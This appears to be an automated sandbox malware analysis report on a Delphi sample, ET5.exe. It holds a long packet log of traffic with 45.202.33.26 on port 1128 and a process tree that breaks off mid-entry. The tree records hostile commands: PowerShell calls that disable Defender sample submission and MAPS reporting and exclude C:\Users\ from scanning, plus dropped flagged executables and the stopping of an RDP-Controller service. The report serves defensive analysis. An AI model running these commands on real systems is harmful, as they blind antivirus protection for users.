Dec 6, 2024 14:19:47.475584030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.475681067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.476567030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.476723909 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.476726055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.476845026 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.477566957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.477679968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.478566885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.478708982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.478740931 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.478986979 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.479528904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.479650974 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.480534077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.480652094 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.480655909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.481518030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.481519938 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.481653929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.482508898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.482542038 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.482573032 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.483525991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.483558893 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.483611107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.484570980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.484601021 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.484643936 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.485500097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.485512018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.485656023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.486479998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.486511946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.486571074 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.486990929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.487478971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.487606049 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.487744093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.488464117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.488574982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.489425898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.489509106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.489569902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.490428925 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.490540981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.490552902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.490670919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.491426945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.491540909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.491637945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.492464066 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.492532015 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.492818117 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.493396997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.493522882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.494577885 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.494688034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.494707108 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.494791985 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.495609045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.495708942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.495799065 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.496499062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.496581078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.497349024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.497526884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.497529030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.497828960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.498382092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.498548985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.498724937 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.499341011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.499425888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.499666929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.500334978 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.500471115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.501312017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.501434088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.501445055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.501509905 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.502331018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.502440929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.503304958 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.503417969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.503433943 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.503523111 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.504280090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.504409075 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.504816055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.505270004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.505321026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.505393028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.506305933 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.506413937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.506525993 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.507265091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.507417917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.507683992 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.508249998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.508338928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.508497953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.530436993 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.530548096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.530622959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.530884027 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.531069040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.531146049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.531852961 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.532239914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.532301903 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.532362938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.652111053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.652182102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.652213097 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.652628899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.652695894 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.652826071 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.653640985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.653655052 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.653707981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.654597044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.654678106 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.654747009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.655782938 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.655977011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.656008959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.656820059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.656884909 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.656905890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.657540083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.657661915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.657663107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.658531904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.658654928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.658665895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.659522057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.659672022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.659821033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.660506010 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.660608053 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.660835981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.661559105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.661674976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.661709070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.662491083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.662597895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.662620068 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.663470030 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.663590908 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.663624048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.664472103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.664616108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.664733887 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.665452957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.665580034 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.665611982 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.666419983 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.666579962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.666609049 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.667469025 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.667531013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.667583942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.668447018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.668548107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.668567896 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.669563055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.669653893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.669661999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.670468092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.670555115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.670579910 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.671394110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.671453953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.671458006 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.672370911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.672461033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.672518969 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.673377991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.673454046 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.673507929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.674374104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.674478054 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.674513102 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.675368071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.675487041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.675720930 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.676345110 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.676407099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.676441908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.677350044 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.677450895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.677467108 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.678329945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.678390980 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.678411007 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.679296970 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.679354906 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.679469109 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.680304050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.680389881 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.680474997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.681294918 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.681354046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.681416988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.682276964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.682363033 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.682390928 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.683329105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.683403969 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.683434963 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.684248924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.684334040 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.684372902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.685255051 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.685350895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.685379982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.686249018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.686332941 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.686362982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.687226057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.687318087 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.687386036 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.688232899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.688353062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.688457012 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.689198017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.689301014 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.689508915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.690200090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.690257072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.690288067 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.691215038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.691304922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.691319942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.692177057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.692272902 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.692292929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.693159103 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.693304062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.693419933 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.694165945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.694287062 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.694317102 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.695168972 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.695286036 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.695451021 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.696235895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.696321011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.696400881 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.697221041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.697354078 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.697365046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.698221922 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.698296070 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.698599100 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.699178934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.699266911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.699331999 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.700102091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.700170040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.700201035 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.722444057 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.722572088 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:47.722615004 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.722893953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.723061085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:47.723092079 CET	49704	1128	192.168.2.5	45.202.33.26

Target ID:	0
Start time:	08:19:33
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\ET5.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\ET5.exe"
Imagebase:	0x400000
File size:	17'157'120 bytes
MD5 hash:	98C7EC9EB9C760E176A78A01BCB9F91C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:19:34
Start date:	06/12/2024
Path:	C:\Users\user\Desktop\ET5.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\ET5.exe
Imagebase:	0x400000
File size:	17'157'120 bytes
MD5 hash:	98C7EC9EB9C760E176A78A01BCB9F91C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:19:39
Start date:	06/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\9pfntcc6fev7dp9x4dc.bat"
Imagebase:	0x7ff6cb300000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:19:39
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:19:39
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:19:42
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:19:45
Start date:	06/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:20:00
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\j5ql5xzpbrfk9lvkq57d8xjw55zyt.exe"
Imagebase:	0x7ff6ff590000
File size:	10'669'056 bytes
MD5 hash:	2F829F1CB631D234C54F2E6C6F72EB57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:20:01
Start date:	06/12/2024
Path:	C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\hstmhco83f64lehv4q0wbzqj3o.exe"
Imagebase:	0x7ff704890000
File size:	98'304 bytes
MD5 hash:	319865D78CC8DF6270E27521B8182BFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 67%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill.exe /F /FI "SERVICES eq RDP-Controller"
Imagebase:	0x7ff657bd0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:20:03
Start date:	06/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe stop RDP-Controller
Imagebase:	0x7ff6a47f0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
